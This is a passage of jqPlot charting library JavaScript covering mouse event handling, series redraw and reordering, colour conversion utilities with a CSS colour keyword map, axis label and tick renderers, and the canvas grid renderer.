positions.dataPos, neighbor, p]); } else { var evt = $.Event('jqplotMouseUp'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, positions.dataPos, neighbor, p]); } } }; this.onMouseMove = function(ev) { var positions = getEventPosition(ev); var p = ev.data.plot; var neighbor = checkIntersection(positions.gridPos, p); var evt = $.Event('jqplotMouseMove'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; $(this).trigger(evt, [positions.gridPos, positions.dataPos, neighbor, p]); }; this.onMouseEnter = function(ev) { var positions = getEventPosition(ev); var p = ev.data.plot; var evt = $.Event('jqplotMouseEnter'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; evt.relatedTarget = ev.relatedTarget; $(this).trigger(evt, [positions.gridPos, positions.dataPos, null, p]); }; this.onMouseLeave = function(ev) { var positions = getEventPosition(ev); var p = ev.data.plot; var evt = $.Event('jqplotMouseLeave'); evt.pageX = ev.pageX; evt.pageY = ev.pageY; evt.relatedTarget = ev.relatedTarget; $(this).trigger(evt, [positions.gridPos, positions.dataPos, null, p]); }; // method: drawSeries // Redraws all or just one series on the plot. No axis scaling // is performed and no other elements on the plot are redrawn. // options is an options object to pass on to the series renderers. // It can be an empty object {}. idx is the series index // to redraw if only one series is to be redrawn. this.drawSeries = function(options, idx){ var i, series, ctx; // if only one argument passed in and it is a number, use it ad idx. idx = (typeof(options) === "number" && idx == null) ? options : idx; options = (typeof(options) === "object") ? options : {}; // draw specified series if (idx != undefined) { series = this.series[idx]; ctx = series.shadowCanvas._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); series.drawShadow(ctx, options, this); ctx = series.canvas._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); series.draw(ctx, options, this); if (series.renderer.constructor == $.jqplot.BezierCurveRenderer) { if (idx < this.series.length - 1) { this.drawSeries(idx+1); } } } else { // if call series drawShadow method first, in case all series shadows // should be drawn before any series. This will ensure, like for // stacked bar plots, that shadows don't overlap series. for (i=0; i<this.series.length; i++) { // first clear the canvas series = this.series[i]; ctx = series.shadowCanvas._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); series.drawShadow(ctx, options, this); ctx = series.canvas._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); series.draw(ctx, options, this); } } options = idx = i = series = ctx = null; }; // method: moveSeriesToFront // This method requires jQuery 1.4+ // Moves the specified series canvas in front of all other series canvases. // This effectively "draws" the specified series on top of all other series, // although it is performed through DOM manipulation, no redrawing is performed. // // Parameters: // idx - 0 based index of the series to move. This will be the index of the series // as it was first passed into the jqplot function. this.moveSeriesToFront = function (idx) { idx = parseInt(idx, 10); var stackIndex = $.inArray(idx, this.seriesStack); // if already in front, return if (stackIndex == -1) { return; } if (stackIndex == this.seriesStack.length -1) { this.previousSeriesStack = this.seriesStack.slice(0); return; } var opidx = this.seriesStack[this.seriesStack.length -1]; var serelem = this.series[idx].canvas._elem.detach(); var shadelem = this.series[idx].shadowCanvas._elem.detach(); this.series[opidx].shadowCanvas._elem.after(shadelem); this.series[opidx].canvas._elem.after(serelem); this.previousSeriesStack = this.seriesStack.slice(0); this.seriesStack.splice(stackIndex, 1); this.seriesStack.push(idx); }; // method: moveSeriesToBack // This method requires jQuery 1.4+ // Moves the specified series canvas behind all other series canvases. // // Parameters: // idx - 0 based index of the series to move. This will be the index of the series // as it was first passed into the jqplot function. this.moveSeriesToBack = function (idx) { idx = parseInt(idx, 10); var stackIndex = $.inArray(idx, this.seriesStack); // if already in back, return if (stackIndex == 0 || stackIndex == -1) { return; } var opidx = this.seriesStack[0]; var serelem = this.series[idx].canvas._elem.detach(); var shadelem = this.series[idx].shadowCanvas._elem.detach(); this.series[opidx].shadowCanvas._elem.before(shadelem); this.series[opidx].canvas._elem.before(serelem); this.previousSeriesStack = this.seriesStack.slice(0); this.seriesStack.splice(stackIndex, 1); this.seriesStack.unshift(idx); }; // method: restorePreviousSeriesOrder // This method requires jQuery 1.4+ // Restore the series canvas order to its previous state. // Useful to put a series back where it belongs after moving // it to the front. this.restorePreviousSeriesOrder = function () { var i, j, serelem, shadelem, temp, move, keep; // if no change, return. if (this.seriesStack == this.previousSeriesStack) { return; } for (i=1; i<this.previousSeriesStack.length; i++) { move = this.previousSeriesStack[i]; keep = this.previousSeriesStack[i-1]; serelem = this.series[move].canvas._elem.detach(); shadelem = this.series[move].shadowCanvas._elem.detach(); this.series[keep].shadowCanvas._elem.after(shadelem); this.series[keep].canvas._elem.after(serelem); } temp = this.seriesStack.slice(0); this.seriesStack = this.previousSeriesStack.slice(0); this.previousSeriesStack = temp; }; // method: restoreOriginalSeriesOrder // This method requires jQuery 1.4+ // Restore the series canvas order to its original order // when the plot was created. this.restoreOriginalSeriesOrder = function () { var i, j, arr=[], serelem, shadelem; for (i=0; i<this.series.length; i++) { arr.push(i); } if (this.seriesStack == arr) { return; } this.previousSeriesStack = this.seriesStack.slice(0); this.seriesStack = arr; for (i=1; i<this.seriesStack.length; i++) { serelem = this.series[i].canvas._elem.detach(); shadelem = this.series[i].shadowCanvas._elem.detach(); this.series[i-1].shadowCanvas._elem.after(shadelem); this.series[i-1].canvas._elem.after(serelem); } }; this.activateTheme = function (name) { this.themeEngine.activate(this, name); }; } // conpute a highlight color or array of highlight colors from given colors. $.jqplot.computeHighlightColors = function(colors) { var ret; if ($.isArray(colors)) { ret = []; for (var i=0; i<colors.length; i++){ var rgba = $.jqplot.getColorComponents(colors[i]); var newrgb = [rgba[0], rgba[1], rgba[2]]; var sum = newrgb[0] + newrgb[1] + newrgb[2]; for (var j=0; j<3; j++) { // when darkening, lowest color component can be is 60. newrgb[j] = (sum > 660) ? newrgb[j] * 0.85 : 0.73 * newrgb[j] + 90; newrgb[j] = parseInt(newrgb[j], 10); (newrgb[j] > 255) ? 255 : newrgb[j]; } // newrgb[3] = (rgba[3] > 0.4) ? rgba[3] * 0.4 : rgba[3] * 1.5; // newrgb[3] = (rgba[3] > 0.5) ? 0.8 * rgba[3] - .1 : rgba[3] + 0.2; newrgb[3] = 0.3 + 0.35 * rgba[3]; ret.push('rgba('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+','+newrgb[3]+')'); } } else { var rgba = $.jqplot.getColorComponents(colors); var newrgb = [rgba[0], rgba[1], rgba[2]]; var sum = newrgb[0] + newrgb[1] + newrgb[2]; for (var j=0; j<3; j++) { // when darkening, lowest color component can be is 60. // newrgb[j] = (sum > 570) ? newrgb[j] * 0.8 : newrgb[j] + 0.3 * (255 - newrgb[j]); // newrgb[j] = parseInt(newrgb[j], 10); newrgb[j] = (sum > 660) ? newrgb[j] * 0.85 : 0.73 * newrgb[j] + 90; newrgb[j] = parseInt(newrgb[j], 10); (newrgb[j] > 255) ? 255 : newrgb[j]; } // newrgb[3] = (rgba[3] > 0.4) ? rgba[3] * 0.4 : rgba[3] * 1.5; // newrgb[3] = (rgba[3] > 0.5) ? 0.8 * rgba[3] - .1 : rgba[3] + 0.2; newrgb[3] = 0.3 + 0.35 * rgba[3]; ret = 'rgba('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+','+newrgb[3]+')'; } return ret; }; $.jqplot.ColorGenerator = function(colors) { colors = colors || $.jqplot.config.defaultColors; var idx = 0; this.next = function () { if (idx < colors.length) { return colors[idx++]; } else { idx = 0; return colors[idx++]; } }; this.previous = function () { if (idx > 0) { return colors[idx--]; } else { idx = colors.length-1; return colors[idx]; } }; // get a color by index without advancing pointer. this.get = function(i) { var idx = i - colors.length * Math.floor(i/colors.length); return colors[idx]; }; this.setColors = function(c) { colors = c; }; this.reset = function() { idx = 0; }; this.getIndex = function() { return idx; }; this.setIndex = function(index) { idx = index; }; }; // convert a hex color string to rgb string. // h - 3 or 6 character hex string, with or without leading # // a - optional alpha $.jqplot.hex2rgb = function(h, a) { h = h.replace('#', ''); if (h.length == 3) { h = h.charAt(0)+h.charAt(0)+h.charAt(1)+h.charAt(1)+h.charAt(2)+h.charAt(2); } var rgb; rgb = 'rgba('+parseInt(h.slice(0,2), 16)+', '+parseInt(h.slice(2,4), 16)+', '+parseInt(h.slice(4,6), 16); if (a) { rgb += ', '+a; } rgb += ')'; return rgb; }; // convert an rgb color spec to a hex spec. ignore any alpha specification. $.jqplot.rgb2hex = function(s) { var pat = /rgba?\( *([0-9]{1,3}\.?[0-9]*%?) *, *([0-9]{1,3}\.?[0-9]*%?) *, *([0-9]{1,3}\.?[0-9]*%?) *(?:, *[0-9.]*)?\)/; var m = s.match(pat); var h = '#'; for (var i=1; i<4; i++) { var temp; if (m[i].search(/%/) != -1) { temp = parseInt(255*m[i]/100, 10).toString(16); if (temp.length == 1) { temp = '0'+temp; } } else { temp = parseInt(m[i], 10).toString(16); if (temp.length == 1) { temp = '0'+temp; } } h += temp; } return h; }; // given a css color spec, return an rgb css color spec $.jqplot.normalize2rgb = function(s, a) { if (s.search(/^ *rgba?\(/) != -1) { return s; } else if (s.search(/^ *#?[0-9a-fA-F]?[0-9a-fA-F]/) != -1) { return $.jqplot.hex2rgb(s, a); } else { throw new Error('Invalid color spec'); } }; // extract the r, g, b, a color components out of a css color spec. $.jqplot.getColorComponents = function(s) { // check to see if a color keyword. s = $.jqplot.colorKeywordMap[s] || s; var rgb = $.jqplot.normalize2rgb(s); var pat = /rgba?\( *([0-9]{1,3}\.?[0-9]*%?) *, *([0-9]{1,3}\.?[0-9]*%?) *, *([0-9]{1,3}\.?[0-9]*%?) *,? *([0-9.]* *)?\)/; var m = rgb.match(pat); var ret = []; for (var i=1; i<4; i++) { if (m[i].search(/%/) != -1) { ret[i-1] = parseInt(255*m[i]/100, 10); } else { ret[i-1] = parseInt(m[i], 10); } } ret[3] = parseFloat(m[4]) ? parseFloat(m[4]) : 1.0; return ret; }; $.jqplot.colorKeywordMap = { aliceblue: 'rgb(240, 248, 255)', antiquewhite: 'rgb(250, 235, 215)', aqua: 'rgb( 0, 255, 255)', aquamarine: 'rgb(127, 255, 212)', azure: 'rgb(240, 255, 255)', beige: 'rgb(245, 245, 220)', bisque: 'rgb(255, 228, 196)', black: 'rgb( 0, 0, 0)', blanchedalmond: 'rgb(255, 235, 205)', blue: 'rgb( 0, 0, 255)', blueviolet: 'rgb(138, 43, 226)', brown: 'rgb(165, 42, 42)', burlywood: 'rgb(222, 184, 135)', cadetblue: 'rgb( 95, 158, 160)', chartreuse: 'rgb(127, 255, 0)', chocolate: 'rgb(210, 105, 30)', coral: 'rgb(255, 127, 80)', cornflowerblue: 'rgb(100, 149, 237)', cornsilk: 'rgb(255, 248, 220)', crimson: 'rgb(220, 20, 60)', cyan: 'rgb( 0, 255, 255)', darkblue: 'rgb( 0, 0, 139)', darkcyan: 'rgb( 0, 139, 139)', darkgoldenrod: 'rgb(184, 134, 11)', darkgray: 'rgb(169, 169, 169)', darkgreen: 'rgb( 0, 100, 0)', darkgrey: 'rgb(169, 169, 169)', darkkhaki: 'rgb(189, 183, 107)', darkmagenta: 'rgb(139, 0, 139)', darkolivegreen: 'rgb( 85, 107, 47)', darkorange: 'rgb(255, 140, 0)', darkorchid: 'rgb(153, 50, 204)', darkred: 'rgb(139, 0, 0)', darksalmon: 'rgb(233, 150, 122)', darkseagreen: 'rgb(143, 188, 143)', darkslateblue: 'rgb( 72, 61, 139)', darkslategray: 'rgb( 47, 79, 79)', darkslategrey: 'rgb( 47, 79, 79)', darkturquoise: 'rgb( 0, 206, 209)', darkviolet: 'rgb(148, 0, 211)', deeppink: 'rgb(255, 20, 147)', deepskyblue: 'rgb( 0, 191, 255)', dimgray: 'rgb(105, 105, 105)', dimgrey: 'rgb(105, 105, 105)', dodgerblue: 'rgb( 30, 144, 255)', firebrick: 'rgb(178, 34, 34)', floralwhite: 'rgb(255, 250, 240)', forestgreen: 'rgb( 34, 139, 34)', fuchsia: 'rgb(255, 0, 255)', gainsboro: 'rgb(220, 220, 220)', ghostwhite: 'rgb(248, 248, 255)', gold: 'rgb(255, 215, 0)', goldenrod: 'rgb(218, 165, 32)', gray: 'rgb(128, 128, 128)', grey: 'rgb(128, 128, 128)', green: 'rgb( 0, 128, 0)', greenyellow: 'rgb(173, 255, 47)', honeydew: 'rgb(240, 255, 240)', hotpink: 'rgb(255, 105, 180)', indianred: 'rgb(205, 92, 92)', indigo: 'rgb( 75, 0, 130)', ivory: 'rgb(255, 255, 240)', khaki: 'rgb(240, 230, 140)', lavender: 'rgb(230, 230, 250)', lavenderblush: 'rgb(255, 240, 245)', lawngreen: 'rgb(124, 252, 0)', lemonchiffon: 'rgb(255, 250, 205)', lightblue: 'rgb(173, 216, 230)', lightcoral: 'rgb(240, 128, 128)', lightcyan: 'rgb(224, 255, 255)', lightgoldenrodyellow: 'rgb(250, 250, 210)', lightgray: 'rgb(211, 211, 211)', lightgreen: 'rgb(144, 238, 144)', lightgrey: 'rgb(211, 211, 211)', lightpink: 'rgb(255, 182, 193)', lightsalmon: 'rgb(255, 160, 122)', lightseagreen: 'rgb( 32, 178, 170)', lightskyblue: 'rgb(135, 206, 250)', lightslategray: 'rgb(119, 136, 153)', lightslategrey: 'rgb(119, 136, 153)', lightsteelblue: 'rgb(176, 196, 222)', lightyellow: 'rgb(255, 255, 224)', lime: 'rgb( 0, 255, 0)', limegreen: 'rgb( 50, 205, 50)', linen: 'rgb(250, 240, 230)', magenta: 'rgb(255, 0, 255)', maroon: 'rgb(128, 0, 0)', mediumaquamarine: 'rgb(102, 205, 170)', mediumblue: 'rgb( 0, 0, 205)', mediumorchid: 'rgb(186, 85, 211)', mediumpurple: 'rgb(147, 112, 219)', mediumseagreen: 'rgb( 60, 179, 113)', mediumslateblue: 'rgb(123, 104, 238)', mediumspringgreen: 'rgb( 0, 250, 154)', mediumturquoise: 'rgb( 72, 209, 204)', mediumvioletred: 'rgb(199, 21, 133)', midnightblue: 'rgb( 25, 25, 112)', mintcream: 'rgb(245, 255, 250)', mistyrose: 'rgb(255, 228, 225)', moccasin: 'rgb(255, 228, 181)', navajowhite: 'rgb(255, 222, 173)', navy: 'rgb( 0, 0, 128)', oldlace: 'rgb(253, 245, 230)', olive: 'rgb(128, 128, 0)', olivedrab: 'rgb(107, 142, 35)', orange: 'rgb(255, 165, 0)', orangered: 'rgb(255, 69, 0)', orchid: 'rgb(218, 112, 214)', palegoldenrod: 'rgb(238, 232, 170)', palegreen: 'rgb(152, 251, 152)', paleturquoise: 'rgb(175, 238, 238)', palevioletred: 'rgb(219, 112, 147)', papayawhip: 'rgb(255, 239, 213)', peachpuff: 'rgb(255, 218, 185)', peru: 'rgb(205, 133, 63)', pink: 'rgb(255, 192, 203)', plum: 'rgb(221, 160, 221)', powderblue: 'rgb(176, 224, 230)', purple: 'rgb(128, 0, 128)', red: 'rgb(255, 0, 0)', rosybrown: 'rgb(188, 143, 143)', royalblue: 'rgb( 65, 105, 225)', saddlebrown: 'rgb(139, 69, 19)', salmon: 'rgb(250, 128, 114)', sandybrown: 'rgb(244, 164, 96)', seagreen: 'rgb( 46, 139, 87)', seashell: 'rgb(255, 245, 238)', sienna: 'rgb(160, 82, 45)', silver: 'rgb(192, 192, 192)', skyblue: 'rgb(135, 206, 235)', slateblue: 'rgb(106, 90, 205)', slategray: 'rgb(112, 128, 144)', slategrey: 'rgb(112, 128, 144)', snow: 'rgb(255, 250, 250)', springgreen: 'rgb( 0, 255, 127)', steelblue: 'rgb( 70, 130, 180)', tan: 'rgb(210, 180, 140)', teal: 'rgb( 0, 128, 128)', thistle: 'rgb(216, 191, 216)', tomato: 'rgb(255, 99, 71)', turquoise: 'rgb( 64, 224, 208)', violet: 'rgb(238, 130, 238)', wheat: 'rgb(245, 222, 179)', white: 'rgb(255, 255, 255)', whitesmoke: 'rgb(245, 245, 245)', yellow: 'rgb(255, 255, 0)', yellowgreen: 'rgb(154, 205, 50)' }; // class: $.jqplot.AxisLabelRenderer // Renderer to place labels on the axes. $.jqplot.AxisLabelRenderer = function(options) { // Group: Properties $.jqplot.ElemContainer.call(this); // name of the axis associated with this tick this.axis; // prop: show // whether or not to show the tick (mark and label). this.show = true; // prop: label // The text or html for the label. this.label = ''; this.fontFamily = null; this.fontSize = null; this.textColor = null; this._elem; // prop: escapeHTML // true to escape HTML entities in the label. this.escapeHTML = false; $.extend(true, this, options); }; $.jqplot.AxisLabelRenderer.prototype = new $.jqplot.ElemContainer(); $.jqplot.AxisLabelRenderer.prototype.constructor = $.jqplot.AxisLabelRenderer; $.jqplot.AxisLabelRenderer.prototype.init = function(options) { $.extend(true, this, options); }; $.jqplot.AxisLabelRenderer.prototype.draw = function(ctx, plot) { // Memory Leaks patch if (this._elem) { this._elem.emptyForce(); this._elem = null; } this._elem = $('<div style="position:absolute;" class="jqplot-'+this.axis+'-label"></div>'); if (Number(this.label)) { this._elem.css('white-space', 'nowrap'); } if (!this.escapeHTML) { this._elem.html(this.label); } else { this._elem.text(this.label); } if (this.fontFamily) { this._elem.css('font-family', this.fontFamily); } if (this.fontSize) { this._elem.css('font-size', this.fontSize); } if (this.textColor) { this._elem.css('color', this.textColor); } return this._elem; }; $.jqplot.AxisLabelRenderer.prototype.pack = function() { }; // class: $.jqplot.AxisTickRenderer // A "tick" object showing the value of a tick/gridline on the plot. $.jqplot.AxisTickRenderer = function(options) { // Group: Properties $.jqplot.ElemContainer.call(this); // prop: mark // tick mark on the axis. One of 'inside', 'outside', 'cross', '' or null. this.mark = 'outside'; // name of the axis associated with this tick this.axis; // prop: showMark // whether or not to show the mark on the axis. this.showMark = true; // prop: showGridline // whether or not to draw the gridline on the grid at this tick. this.showGridline = true; // prop: isMinorTick // if this is a minor tick. this.isMinorTick = false; // prop: size // Length of the tick beyond the grid in pixels. // DEPRECATED: This has been superceeded by markSize this.size = 4; // prop: markSize // Length of the tick marks in pixels. For 'cross' style, length // will be stoked above and below axis, so total length will be twice this. this.markSize = 6; // prop: show // whether or not to show the tick (mark and label). // Setting this to false requires more testing. It is recommended // to set showLabel and showMark to false instead. this.show = true; // prop: showLabel // whether or not to show the label. this.showLabel = true; this.label = null; this.value = null; this._styles = {}; // prop: formatter // A class of a formatter for the tick text. sprintf by default. this.formatter = $.jqplot.DefaultTickFormatter; // prop: prefix // String to prepend to the tick label. // Prefix is prepended to the formatted tick label. this.prefix = ''; // prop: suffix // String to append to the tick label. // Suffix is appended to the formatted tick label. this.suffix = ''; // prop: formatString // string passed to the formatter. this.formatString = ''; // prop: fontFamily // css spec for the font-family css attribute. this.fontFamily; // prop: fontSize // css spec for the font-size css attribute. this.fontSize; // prop: textColor // css spec for the color attribute. this.textColor; // prop: escapeHTML // true to escape HTML entities in the label. this.escapeHTML = false; this._elem; this._breakTick = false; $.extend(true, this, options); }; $.jqplot.AxisTickRenderer.prototype.init = function(options) { $.extend(true, this, options); }; $.jqplot.AxisTickRenderer.prototype = new $.jqplot.ElemContainer(); $.jqplot.AxisTickRenderer.prototype.constructor = $.jqplot.AxisTickRenderer; $.jqplot.AxisTickRenderer.prototype.setTick = function(value, axisName, isMinor) { this.value = value; this.axis = axisName; if (isMinor) { this.isMinorTick = true; } return this; }; $.jqplot.AxisTickRenderer.prototype.draw = function() { if (this.label === null) { this.label = this.prefix + this.formatter(this.formatString, this.value) + this.suffix; } var style = {position: 'absolute'}; if (Number(this.label)) { style['whitSpace'] = 'nowrap'; } // Memory Leaks patch if (this._elem) { this._elem.emptyForce(); this._elem = null; } this._elem = $(document.createElement('div')); this._elem.addClass("jqplot-"+this.axis+"-tick"); if (!this.escapeHTML) { this._elem.html(this.label); } else { this._elem.text(this.label); } this._elem.css(style); for (var s in this._styles) { this._elem.css(s, this._styles[s]); } if (this.fontFamily) { this._elem.css('font-family', this.fontFamily); } if (this.fontSize) { this._elem.css('font-size', this.fontSize); } if (this.textColor) { this._elem.css('color', this.textColor); } if (this._breakTick) { this._elem.addClass('jqplot-breakTick'); } return this._elem; }; $.jqplot.DefaultTickFormatter = function (format, val) { if (typeof val == 'number') { if (!format) { format = $.jqplot.config.defaultTickFormatString; } return $.jqplot.sprintf(format, val); } else { return String(val); } }; $.jqplot.PercentTickFormatter = function (format, val) { if (typeof val == 'number') { val = 100 * val; if (!format) { format = $.jqplot.config.defaultTickFormatString; } return $.jqplot.sprintf(format, val); } else { return String(val); } }; $.jqplot.AxisTickRenderer.prototype.pack = function() { }; // Class: $.jqplot.CanvasGridRenderer // The default jqPlot grid renderer, creating a grid on a canvas element. // The renderer has no additional options beyond the <Grid> class. $.jqplot.CanvasGridRenderer = function(){ this.shadowRenderer = new $.jqplot.ShadowRenderer(); }; // called with context of Grid object $.jqplot.CanvasGridRenderer.prototype.init = function(options) { this._ctx; $.extend(true, this, options); // set the shadow renderer options var sopts = {lineJoin:'miter', lineCap:'round', fill:false, isarc:false, angle:this.shadowAngle, offset:this.shadowOffset, alpha:this.shadowAlpha, depth:this.shadowDepth, lineWidth:this.shadowWidth, closePath:false, strokeStyle:this.shadowColor}; this.renderer.shadowRenderer.init(sopts); }; // called with context of Grid. $.jqplot.CanvasGridRenderer.prototype.createElement = function(plot) { var elem; // Memory Leaks patch if (this._elem) { if ($.jqplot.use_excanvas && window.G_vmlCanvasManager.uninitElement !== undefined) { elem = this._elem.get(0); window.G_vmlCanvasManager.uninitElement(elem); elem = null; } this._elem.emptyForce(); this._elem = null; } elem = plot.canvasManager.getCanvas(); var w = this._plotDimensions.width; var h = this._plotDimensions.height; elem.width = w; elem.height = h; this._elem = $(elem); this._elem.addClass('jqplot-grid-canvas'); this._elem.css({ position: 'absolute', left: 0, top: 0 }); elem = plot.canvasManager.initCanvas(elem); this._top = this._offsets.top; this._bottom = h - this._offsets.bottom; this._left = this._offsets.left; this._right = w - this._offsets.right; this._width = this._right - this._left; this._height = this._bottom - this._top; // avoid memory leak elem = null; return this._elem; }; $.jqplot.CanvasGridRenderer.prototype.draw = function() { this._ctx = this._elem.get(0).getContext("2d"); var ctx = this._ctx; var axes = this._axes; // Add the grid onto the grid canvas. This is the bottom most layer. ctx.save(); ctx.clearRect(0, 0, this._plotDimensions.width, this._plotDimensions.height); ctx.fillStyle = this.backgroundColor || this.background; ctx.fillRect(this._left, this._top, this._width, this._height); ctx.save(); ctx.lineJoin = 'miter'; ctx.lineCap = 'butt'; ctx.lineWidth = this.gridLineWidth; ctx.strokeStyle = this.gridLineColor; var b, e, s, m; var ax = ['xaxis', 'yaxis', 'x2axis', 'y2axis']; for (var i=4; i>0; i--) { var name = ax[i-1]; var axis = axes[name]; var ticks = axis._ticks; var numticks = ticks.length; if (axis.show) { if (axis.drawBaseline) { var bopts = {}; if (axis.baselineWidth !== null) { bopts.lineWidth = axis.baselineWidth; } if (axis.baselineColor !== null) { bopts.strokeStyle = axis.baselineColor; } switch (name) { case 'xaxis': drawLine (this._left, this._bottom, this._right, this._bottom, bopts); break; case 'yaxis': drawLine (this._left, this._bottom, this._left, this._top, bopts); break; case 'x2axis': drawLine (this._left, this._bottom, this._right, this._bottom, bopts); break; case 'y2axis': drawLine (this._right, this._bottom, this._right, this._top, bopts); break; } } for (var j=numticks; j>0; j--) { var t = ticks[j-1]; if (t.show) { var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (name) { case 'xaxis': // draw the grid line if we should if (t.showGridline && this.drawGridlines && ((!t.isMinorTick && axis.drawMajorGridlines) || (t.isMinorTick && axis.drawMinorGridlines)) ) { drawLine(pos, this._top, pos, this._bottom); } // draw the mark if (t.showMark && t.mark && ((!t.isMinorTick && axis.drawMajorTickMarks) || (t.isMinorTick && axis.drawMinorTickMarks)) ) { s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (m) { case 'outside': b = this._bottom; e = this._bottom+s; break; case 'inside': b = this._bottom-s; e = this._bottom; break; case 'cross': b = this._bottom-s; e = this._bottom+s; break; default: b = this._bottom; e = this._bottom+s; break; } // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[pos,b],[pos,e]], {lineCap:'butt', lineWidth:this.gridLineWidth, offset:this.gridLineWidth*0.75, depth:2, fill:false, closePath:false}); } // draw the line drawLine(pos, b, pos, e); } break; case 'yaxis': // draw the grid line if (t.showGridline && this.drawGridlines && ((!t.isMinorTick && axis.drawMajorGridlines) || (t.isMinorTick && axis.drawMinorGridlines)) ) { drawLine(this._right, pos, this._left, pos); } // draw the mark if (t.showMark && t.mark && ((!t.isMinorTick && axis.drawMajorTickMarks) || (t.isMinorTick && axis.drawMinorTickMarks)) ) { s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (m) { case 'outside': b = this._left-s; e = this._left; break; case 'inside': b = this._left; e = this._left+s; break; case 'cross': b = this._left-s; e = this._left+s; break; default: b = this._left-s; e = this._left; break; } // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[b, pos], [e, pos]], {lineCap:'butt', lineWidth:this.gridLineWidth*1.5, offset:this.gridLineWidth*0.75, fill:false, closePath:false}); } drawLine(b, pos, e, pos, {strokeStyle:axis.borderColor}); } break; case 'x2axis': // draw the grid line if (t.showGridline && this.drawGridlines && ((!t.isMinorTick && axis.drawMajorGridlines) || (t.isMinorTick && axis.drawMinorGridlines)) ) { drawLine(pos, this._bottom, pos, this._top); } // draw the mark if (t.showMark && t.mark && ((!t.isMinorTick && axis.drawMajorTickMarks) || (t.isMinorTick && axis.drawMinorTickMarks)) ) { s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (m) { case 'outside': b = this._top-s; e = this._top; break; case 'inside': b = this._top; e = this._top+s; break; case 'cross': b = this._top-s; e = this._top+s; break; default: b = this._top-s; e = this._top; break; } // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[pos,b],[pos,e]], {lineCap:'butt', lineWidth:this.gridLineWidth, offset:this.gridLineWidth*0.75, depth:2, fill:false, closePath:false}); } drawLine(pos, b, pos, e); } break; case 'y2axis': // draw the grid line if (t.showGridline && this.drawGridlines && ((!t.isMinorTick && axis.drawMajorGridlines) || (t.isMinorTick && axis.drawMinorGridlines)) ) { drawLine(this._left, pos, this._right, pos); } // draw the mark if (t.showMark && t.mark && ((!t.isMinorTick && axis.drawMajorTickMarks) || (t.isMinorTick && axis.drawMinorTickMarks)) ) { s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (m) { case 'outside': b = this._right; e = this._right+s; break; case 'inside': b = this._right-s; e = this._right; break; case 'cross': b = this._right-s; e = this._right+s; break; default: b = this._right; e = this._right+s; break; } // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[b, pos], [e, pos]], {lineCap:'butt', lineWidth:this.gridLineWidth*1.5, offset:this.gridLineWidth*0.75, fill:false, closePath:false}); } drawLine(b, pos, e, pos, {strokeStyle:axis.borderColor}); } break; default: break; } } } t = null; } axis = null; ticks = null; } // Now draw grid lines for additional y axes ////// // TO DO: handle yMidAxis ////// ax = ['y3axis', 'y4axis', 'y5axis', 'y6axis', 'y7axis', 'y8axis', 'y9axis', 'yMidAxis']; for (var i=7; i>0; i--) { var axis = axes[ax[i-1]]; var ticks = axis._ticks; if (axis.show) { var tn = ticks[axis.numberTicks-1]; var t0 = ticks[0]; var left = axis.getLeft(); var points = [[left, tn.getTop() + tn.getHeight()/2], [left, t0.getTop() + t0.getHeight()/2 + 1.0]]; // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, points, {lineCap:'butt', fill:false, closePath:false}); } // draw the line drawLine(points[0][0], points[0][1], points[1][0], points[1][1], {lineCap:'butt', strokeStyle:axis.borderColor, lineWidth:axis.borderWidth}); // draw the tick marks for (var j=ticks.length; j>0; j--) { var t = ticks[j-1]; s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; if (t.showMark && t.mark) { switch (m) { case 'outside': b = left; e = left+s; break; case 'inside': b = left-s; e = left; break; case 'cross': b = left-s; e = left+s; break; default: b = left; e = left+s; break; } points = [[b,pos], [e,pos]]; // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, points, {lineCap:'butt', lineWidth:this.gridLineWidth*1.5, offset:this.gridLineWidth*0.75, fill:false, closePath:false}); } // draw the line drawLine(b, pos, e, pos, {strokeStyle:axis.borderColor}); } t = null; } t0 = null; } axis = null; ticks = null; } ctx.restore(); function drawLine(bx, by, ex, ey, opts) { ctx.save(); opts = opts || {}; if (opts.lineWidth == null || opts.lineWidth != 0){ $.extend(true, ctx, opts); ctx.beginPath(); ctx.moveTo(bx, by); ctx.lineTo(ex, ey); ctx.stroke(); ctx.restore(); } } if (this.shadow) { var points = [[this._left, this._bottom], [this._right, this._bottom], [this._right, this._top]]; this.renderer.shadowRenderer.draw(ctx, points); } // Now draw border around grid. Use axis border definitions. start at // upper left and go clockwise. if (this.borderWidth != 0 && this.drawBorder) { drawLine (this._left, this._top, this._right, this._top, {lineCap:'round', strokeStyle:axes.x2axis.borderColor, lineWidth:axes.x2axis.borderWidth}); drawLine (this._right, this._top, this._right, this._bottom, {lineCap:'round', strokeStyle:axes.y2axis.borderColor, lineWidth:axes.y2axis.borderWidth}); drawLine (this._right, this._bottom, this._left, this._bottom, {lineCap:'round', strokeStyle:axes.xaxis.borderColor, lineWidth:axes.xaxis.borderWidth}); drawLine (this._left, this._bottom, this._left, this._top, {lineCap:'round', strokeStyle:axes.yaxis.borderColor, lineWidth:axes.yaxis.borderWidth}); } // ctx.lineWidth = this.borderWidth; // ctx.strokeStyle = this.borderColor; // ctx.strokeRect(this._left, this._top, this._width, this._height); ctx.restore(); ctx = null; axes = null; }; // Class: $.jqplot.DivTitleRenderer // The default title renderer for jqPlot. This class has no options beyond the <Title> class. $.jqplot.DivTitleRenderer = function() { 